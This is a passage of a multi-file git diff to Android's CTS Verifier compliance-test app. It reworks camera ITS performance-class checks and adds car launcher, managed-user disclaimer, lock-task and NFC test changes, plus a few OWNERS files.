diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 3f836b1..63d9687 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -150,6 +150,8 @@
 
     // Performance class R version number
     private static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
+    // Performance class S version number
+    private static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
 
     public static final int SERVERPORT = 6000;
 
@@ -735,11 +737,9 @@
                     doCheckStreamCombination(cmdObj);
                 } else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) {
                     doCheckCameraPrivacyModeSupport();
-                } else if ("isPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
+                } else if ("isPerformanceClassPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
                     String cameraId = cmdObj.getString("cameraId");
-                    doCheckPrimaryCamera(cameraId);
-                } else if ("isPerformanceClass".equals(cmdObj.getString("cmdName"))) {
-                    doCheckPerformanceClass();
+                    doCheckPerformanceClassPrimaryCamera(cameraId);
                 } else if ("measureCameraLaunchMs".equals(cmdObj.getString("cmdName"))) {
                     String cameraId = cmdObj.getString("cameraId");
                     doMeasureCameraLaunchMs(cameraId);
@@ -1082,7 +1082,10 @@
                 hasPrivacySupport ? "true" : "false");
     }
 
-    private void doCheckPrimaryCamera(String cameraId) throws ItsException {
+    private void doCheckPerformanceClassPrimaryCamera(String cameraId) throws ItsException {
+        boolean  isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S
+                || Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
+
         if (mItsCameraIdList == null) {
             mItsCameraIdList = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
         }
@@ -1113,15 +1116,8 @@
             throw new ItsException("Failed to get camera characteristics", e);
         }
 
-        mSocketRunnableObj.sendResponse("primaryCamera",
-                isPrimaryCamera ? "true" : "false");
-    }
-
-    private void doCheckPerformanceClass() throws ItsException {
-        boolean  isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS >= PERFORMANCE_CLASS_R);
-
-        mSocketRunnableObj.sendResponse("performanceClass",
-                isPerfClass ? "true" : "false");
+        mSocketRunnableObj.sendResponse("performanceClassPrimaryCamera",
+                (isPerfClass && isPrimaryCamera) ? "true" : "false");
     }
 
     private double invokeCameraPerformanceTest(Class testClass, String testName,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index c8725bb..08cd8b2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -41,9 +41,6 @@
 import java.util.Map;
 import java.util.Set;
 import java.util.TreeSet;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
 import java.io.BufferedReader;
 import java.io.FileReader;
 import java.io.FileNotFoundException;
@@ -80,17 +77,6 @@
             Arrays.asList(new String[] {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}));
     private static final int MAX_SUMMARY_LEN = 200;
 
-    private static final int MPC12_CAMERA_LAUNCH_THRESHOLD = 600; // ms
-    private static final int MPC12_JPEG_CAPTURE_THRESHOLD = 1000; // ms
-
-    private static final String MPC_TESTS_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
-    private static final String MPC_TESTS_REPORT_LOG_SECTION = "CameraIts";
-
-    private static final Pattern MPC12_CAMERA_LAUNCH_PATTERN =
-            Pattern.compile("camera_launch_time_ms:(\\d+(\\.\\d+)?)");
-    private static final Pattern MPC12_JPEG_CAPTURE_PATTERN =
-            Pattern.compile("1080p_jpeg_capture_time_ms:(\\d+(\\.\\d+)?)");
-
     private final ResultReceiver mResultsReceiver = new ResultReceiver();
     private boolean mReceiverRegistered = false;
 
@@ -130,10 +116,6 @@
     private final HashMap<ResultKey, Boolean> mExecutedScenes = new HashMap<>();
     // map camera id to ITS summary report path
     private final HashMap<ResultKey, String> mSummaryMap = new HashMap<>();
-    // All primary cameras for which MPC level test has run
-    private Set<ResultKey> mExecutedMpcTests = null;
-    // Map primary camera id to MPC level
-    private final HashMap<String, Integer> mMpcLevelMap = new HashMap<>();
 
     final class ResultKey {
         public final String cameraId;
@@ -231,6 +213,7 @@
 
                     // Update test execution results
                     for (String scene : scenes) {
+                        HashMap<String, String> executedTests = new HashMap<>();
                         JSONObject sceneResult = jsonResults.getJSONObject(scene);
                         Log.v(TAG, sceneResult.toString());
                         String result = sceneResult.getString("result");
@@ -258,22 +241,6 @@
                                 mSummaryMap.put(key, summary);
                             }
                         } // do nothing for NOT_EXECUTED scenes
-
-                        if (sceneResult.isNull("mpc_metrics")) {
-                            continue;
-                        }
-                        // Update MPC level
-                        JSONArray metrics = sceneResult.getJSONArray("mpc_metrics");
-                        for (int i = 0; i < metrics.length(); i++) {
-                            String mpcResult = metrics.getString(i);
-                            if (!matchMpcResult(cameraId, mpcResult, MPC12_CAMERA_LAUNCH_PATTERN,
-                                    "2.2.7.2/7.5/H-1-6", MPC12_CAMERA_LAUNCH_THRESHOLD) &&
-                                    !matchMpcResult(cameraId, mpcResult, MPC12_JPEG_CAPTURE_PATTERN,
-                                    "2.2.7.2/7.5/H-1-5", MPC12_JPEG_CAPTURE_THRESHOLD)) {
-                                Log.e(TAG, "Error parsing MPC result string:" + mpcResult);
-                                return;
-                            }
-                        }
                     }
                 } catch (org.json.JSONException e) {
                     Log.e(TAG, "Error reading json result string:" + results , e);
@@ -282,7 +249,6 @@
 
                 // Set summary if all scenes reported
                 if (mSummaryMap.keySet().containsAll(mAllScenes)) {
-                    // Save test summary
                     StringBuilder summary = new StringBuilder();
                     for (String path : mSummaryMap.values()) {
                         appendFileContentToSummary(summary, path);
@@ -294,17 +260,6 @@
                             summary.toString(), 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
                 }
 
-                //  Save MPC info once both front primary and rear primary data are collected.
-                if (mExecutedMpcTests.size() == 4) {
-                    ItsTestActivity.this.getReportLog().addValue(
-                            "Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
-                    for (Map.Entry<String, Integer> entry : mMpcLevelMap.entrySet()) {
-                        ItsTestActivity.this.getReportLog().addValue(entry.getKey(),
-                                entry.getValue(), ResultType.NEUTRAL, ResultUnit.NONE);
-                    }
-                    ItsTestActivity.this.getReportLog().submit();
-                }
-
                 // Display current progress
                 StringBuilder progress = new StringBuilder();
                 for (ResultKey k : mAllScenes) {
@@ -366,29 +321,6 @@
                 }
             }
         }
-
-        private boolean matchMpcResult(String cameraId, String mpcResult, Pattern pattern,
-                String reqNum, float threshold) {
-            Matcher matcher = pattern.matcher(mpcResult);
-            boolean match = matcher.matches();
-
-            if (match) {
-                // Store test result
-                ItsTestActivity.this.getReportLog().addValue("Cam" + cameraId,
-                        mpcResult, ResultType.NEUTRAL, ResultUnit.NONE);
-
-                float latency = Float.parseFloat(matcher.group(1));
-                int mpcLevel = latency < threshold ? 31 : 0;
-                mExecutedMpcTests.add(new ResultKey(cameraId, reqNum));
-
-                if (mMpcLevelMap.containsKey(reqNum)) {
-                    mpcLevel = Math.min(mpcLevel, mMpcLevelMap.get(reqNum));
-                }
-                mMpcLevelMap.put(reqNum, mpcLevel);
-            }
-
-            return match;
-        }
     }
 
     @Override
@@ -456,9 +388,6 @@
                 testTitle(cam, scene),
                 testId(cam, scene)));
             }
-            if (mExecutedMpcTests == null) {
-                mExecutedMpcTests = new TreeSet<>(mComparator);
-            }
             Log.d(TAG,"Total combinations to test on this device:" + mAllScenes.size());
         }
     }
@@ -498,14 +427,4 @@
         setInfoResources(R.string.camera_its_test, R.string.camera_its_test_info, -1);
         setPassFailButtonClickListeners();
     }
-
-    @Override
-    public String getReportFileName() {
-        return MPC_TESTS_REPORT_LOG_NAME;
-    }
-
-    @Override
-    public String getReportSectionName() {
-        return MPC_TESTS_REPORT_LOG_SECTION;
-    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
new file mode 100644
index 0000000..9fa9d7e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Test Car Launcher Behavior with respect to Car Service actions.
+ */
+public class CarLauncherTestActivity extends PassFailButtons.Activity {
+
+    @Override
+    protected void onCreate(Bundle savedState) {
+        super.onCreate(savedState);
+        setContentView(getLayoutInflater().inflate(R.layout.car_launcher_test_main, null));
+        setPassFailButtonClickListeners();
+
+        // Sets the text in the dialog
+        setInfoResources(R.string.car_launcher_test,
+                R.string.car_launcher_test_desc, -1);
+
+        // Open the car launcher
+        findViewById(R.id.car_launcher_test_button).setOnClickListener(v -> {
+            this.startActivity(new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
+        });
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/OWNERS
new file mode 100644
index 0000000..2718191
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 1151772
+mrcasey@google.com
+mkephart@google.com
+moellerj@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index e7bced9..f6b179c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -80,6 +80,13 @@
     }
 
     /**
+     * Checks whether the device requires new user disclaimer acknowledgement for managed user.
+     */
+    public static boolean isNewManagerUserDisclaimerRequired(Context context) {
+        return isAutomotive(context);
+    }
+
+    /**
      * Checks whether the device supports file transfer.
      */
     public static boolean isUsbFileTransferSupported(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/OWNERS
new file mode 100644
index 0000000..37638f4
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/OWNERS
@@ -0,0 +1,7 @@
+# Bug Component: 36824
+
+cbrubaker@google.com
+eunjeongshin@google.com
+jsharkey@google.com
+vishwath@google.com
+wenhaowang@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 218897f..257d6df 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -126,6 +126,7 @@
     public static final String COMMAND_ENABLE_USB_DATA_SIGNALING = "enable-usb-data-signaling";
     public static final String COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY =
             "set-required-password-complexity";
+    public static final String COMMAND_CHECK_NEW_USER_DISCLAIMER = "check-new-user-disclaimer";
 
     public static final String EXTRA_USER_RESTRICTION =
             "com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION";
@@ -435,14 +436,14 @@
                             PackageManager.DONT_KILL_APP);
                 } break;
                 case COMMAND_SET_ALWAYS_ON_VPN: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.setAlwaysOnVpnPackage(mAdmin, getPackageName(),
                             false /* lockdownEnabled */);
                 } break;
                 case COMMAND_CLEAR_ALWAYS_ON_VPN: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.setAlwaysOnVpnPackage(mAdmin, null /* vpnPackage */,
@@ -462,13 +463,13 @@
                     mDpm.setRecommendedGlobalProxy(mAdmin, null);
                 } break;
                 case COMMAND_INSTALL_CA_CERT: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.installCaCert(mAdmin, TEST_CA.getBytes());
                 } break;
                 case COMMAND_CLEAR_CA_CERT: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
@@ -560,6 +561,7 @@
                 case COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY: {
                     int complexity = intent.getIntExtra(EXTRA_VALUE,
                             DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+                    Log.d(TAG, "calling setRequiredPasswordComplexity(" + complexity + ")");
                     mDpm.setRequiredPasswordComplexity(complexity);
                 }
             }
@@ -583,6 +585,15 @@
         return isIt;
     }
 
+    /**
+     * Checks if the {@code packageName} is a device owner app, or a profile owner app in the
+     * headless system user mode.
+      */
+    private boolean isDeviceOwnerAppOrEquivalent(String packageName) {
+        return mDpm.isDeviceOwnerApp(packageName)
+                || (UserManager.isHeadlessSystemUserMode() && mDpm.isProfileOwnerApp(packageName));
+    }
+
     private void installHelperPackage() throws Exception {
         if (UserManager.isHeadlessSystemUserMode()) {
             // App was already installed on user 0 (as instructed), so we just install it for the
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 6204687a..865795d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -716,6 +716,7 @@
 
     private Intent createSetRequiredPasswordComplexityIntent(int complexity) {
         return new Intent(this, CommandReceiverActivity.class)
+                .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
                 .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
                         CommandReceiverActivity.COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY)
                 .putExtra(CommandReceiverActivity.EXTRA_VALUE, complexity);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index c18150e..7aa1eaa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -205,10 +205,10 @@
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                         new ButtonInfo(R.string.enterprise_privacy_set_always_on_vpn,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_SET_ALWAYS_ON_VPN)),
                         new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_CLEAR_ALWAYS_ON_VPN))}));
 
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY,
@@ -230,10 +230,10 @@
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                         new ButtonInfo(R.string.enterprise_privacy_install_cert,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_INSTALL_CA_CERT)),
                         new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_CLEAR_CA_CERT))}));
         if (Utils.isLockscreenSupported(this)) {
             adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
index d040526..41f6aad 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
@@ -40,11 +40,12 @@
 import android.database.DataSetObserver;
 import android.os.AsyncTask;
 import android.os.Bundle;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 import android.util.Log;
 import android.widget.Button;
 import android.widget.Toast;
 
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.PassFailButtons;
@@ -126,7 +127,8 @@
     }
 
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
             adapter.add(createSetLockTaskFeaturesTest(
                     TEST_ID_DEFAULT,
                     LOCK_TASK_FEATURE_NONE,
@@ -140,7 +142,8 @@
                     R.string.device_owner_lock_task_ui_system_info_test_info));
         }
 
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
             adapter.add(createSetLockTaskFeaturesTest(
                     TEST_ID_NOTIFICATIONS,
                     LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_NOTIFICATIONS,
@@ -148,7 +151,8 @@
                     R.string.device_owner_lock_task_ui_notifications_test_info));
         }
 
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
             adapter.add(createSetLockTaskFeaturesTest(
                     TEST_ID_HOME,
                     LOCK_TASK_FEATURE_HOME,
@@ -156,7 +160,8 @@
                     R.string.device_owner_lock_task_ui_home_test_info));
         }
 
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
             adapter.add(createSetLockTaskFeaturesTest(
                     TEST_ID_RECENTS,
                     LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_OVERVIEW,
@@ -164,7 +169,8 @@
                     R.string.device_owner_lock_task_ui_recents_test_info));
         }
 
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
             adapter.add(createSetLockTaskFeaturesTest(
                     TEST_ID_GLOBAL_ACTIONS,
                     LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
@@ -173,6 +179,7 @@
         }
 
         if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)
                 && getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN)) {
             adapter.add(createSetLockTaskFeaturesTest(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 14ab277..6ddcf71 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -55,6 +55,7 @@
     private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
     private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
     private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
+    private static final String CHECK_NEW_USER_DISCLAIMER_TEST_ID = "CHECK_NEW_UESR_DISCLAIMER";
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -111,6 +112,19 @@
     }
 
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+        // Check managed user's new user disclaimer
+        if (FeatureUtil.isNewManagerUserDisclaimerRequired(this)) {
+            adapter.add(createInteractiveTestItem(this, CHECK_NEW_USER_DISCLAIMER_TEST_ID,
+                    R.string.check_new_user_disclaimer,
+                    R.string.check_new_user_disclaimer_info,
+                    new ButtonInfo[]{
+                            new ButtonInfo(
+                                    R.string.device_owner_settings_go,
+                                    new Intent(Settings.ACTION_USER_SETTINGS)),
+                            new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                    createSetOrganizationNameIntent())}));
+        }
+
         adapter.add(createTestItem(this, CHECK_AFFILIATED_PROFILE_OWNER_TEST_ID,
                 R.string.managed_user_check_managed_user_test,
                 new Intent(ACTION_CHECK_AFFILIATED_PROFILE_OWNER)
@@ -185,10 +199,8 @@
         adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID,
                 R.string.device_profile_owner_policy_transparency_test,
                 policyTransparencyTestIntent));
-
     }
 
-
     static TestListItem createTestItem(Activity activity, String id, int titleRes,
             Intent intent) {
         intent.putExtra(EXTRA_TEST_ID, id);
@@ -200,4 +212,9 @@
         // general test for that. TODO: add a test API to do a real check for status bar support.
         return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
     }
+
+    private Intent createSetOrganizationNameIntent() {
+        return new Intent(CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc.");
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
index 19b6194..cf88726 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
@@ -1,2 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcDialogs.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcDialogs.java
index 644e637..4e2f5f1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcDialogs.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcDialogs.java
@@ -16,14 +16,14 @@
 
 package com.android.cts.verifier.nfc;
 
-import com.android.cts.verifier.R;
-
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.DialogInterface;
 import android.content.Intent;
 import android.provider.Settings;
 
+import com.android.cts.verifier.R;
+
 /** Class containing methods to create common dialogs for NFC activities. */
 public class NfcDialogs {
 
@@ -82,6 +82,25 @@
                 .create();
     }
 
+    /**
+     * SecureNfcEnabled dialog
+     */
+    public static AlertDialog createSecureNfcEnabledDialog(final Context context) {
+        return new AlertDialog.Builder(context)
+                .setIcon(android.R.drawable.ic_dialog_alert)
+                .setTitle(R.string.secure_nfc_enabled)
+                .setMessage(R.string.secure_nfc_enabled_message)
+                .setPositiveButton(R.string.nfc_settings, new DialogInterface.OnClickListener() {
+                    @Override
+                    public void onClick(DialogInterface dialog, int which) {
+                        Intent intent = new Intent(Settings.ACTION_NFC_SETTINGS);
+                        context.startActivity(intent);
+                    }
+                })
+                .create();
+    }
+
+
     private NfcDialogs() {
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java
index 24f55a4..263d43f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java
@@ -14,15 +14,16 @@
 import android.nfc.cardemulation.CardEmulation;
 import android.os.AsyncTask;
 import android.os.Bundle;
+import android.os.UserHandle;
 import android.util.Log;
 
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
 @TargetApi(19)
 public abstract class BaseEmulatorActivity extends PassFailButtons.Activity {
     static final String TAG = "BaseEmulatorActivity";
@@ -105,10 +106,13 @@
             builder.setPositiveButton("OK", new DialogInterface.OnClickListener() {
                 @Override
                 public void onClick(DialogInterface dialog, int which) {
-                Intent changeDefault = new Intent(CardEmulation.ACTION_CHANGE_DEFAULT);
-                changeDefault.putExtra(CardEmulation.EXTRA_CATEGORY, CardEmulation.CATEGORY_PAYMENT);
-                changeDefault.putExtra(CardEmulation.EXTRA_SERVICE_COMPONENT, defaultComponent);
-                startActivityForResult(changeDefault, 0);
+                    Intent changeDefault = new Intent(CardEmulation.ACTION_CHANGE_DEFAULT);
+                    changeDefault.putExtra(CardEmulation.EXTRA_CATEGORY,
+                            CardEmulation.CATEGORY_PAYMENT);
+                    changeDefault.putExtra(CardEmulation.EXTRA_SERVICE_COMPONENT, defaultComponent);
+                    changeDefault.putExtra(Intent.EXTRA_USER,
+                            UserHandle.getUserHandleForUid(getApplicationInfo().uid));
+                    startActivityForResult(changeDefault, 0);
                 }
             });
             builder.show();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java
index ab66339..bd4a262 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java
@@ -27,6 +27,7 @@
 import android.nfc.cardemulation.CardEmulation;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.SystemProperties;
 
 /** Activity that lists all the NFC HCE emulator tests. */
 public class HceEmulatorTestActivity extends PassFailButtons.TestListActivity {
@@ -131,13 +132,17 @@
                 }
             }
 
-            adapter.add(TestListItem.newTest(this, R.string.nfc_screen_on_only_offhost_emulator,
-                    ScreenOnOnlyOffHostEmulatorActivity.class.getName(),
-                    new Intent(this, ScreenOnOnlyOffHostEmulatorActivity.class), null));
+            int firstSdk =
+                    SystemProperties.getInt("ro.product.first_api_level", Build.VERSION_CODES.S);
+            if (firstSdk >= Build.VERSION_CODES.S) {
+                adapter.add(TestListItem.newTest(this, R.string.nfc_screen_on_only_offhost_emulator,
+                        ScreenOnOnlyOffHostEmulatorActivity.class.getName(),
+                        new Intent(this, ScreenOnOnlyOffHostEmulatorActivity.class), null));
 
-            adapter.add(TestListItem.newTest(this, R.string.nfc_screen_off_hce_payment_emulator,
-                    ScreenOffPaymentEmulatorActivity.class.getName(),
-                    new Intent(this, ScreenOffPaymentEmulatorActivity.class), null));
+                adapter.add(TestListItem.newTest(this, R.string.nfc_screen_off_hce_payment_emulator,
+                        ScreenOffPaymentEmulatorActivity.class.getName(),
+                        new Intent(this, ScreenOffPaymentEmulatorActivity.class), null));
+            }
         }
 
         setTestListAdapter(adapter);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java
index 4998d5c..fa5da2b 100644
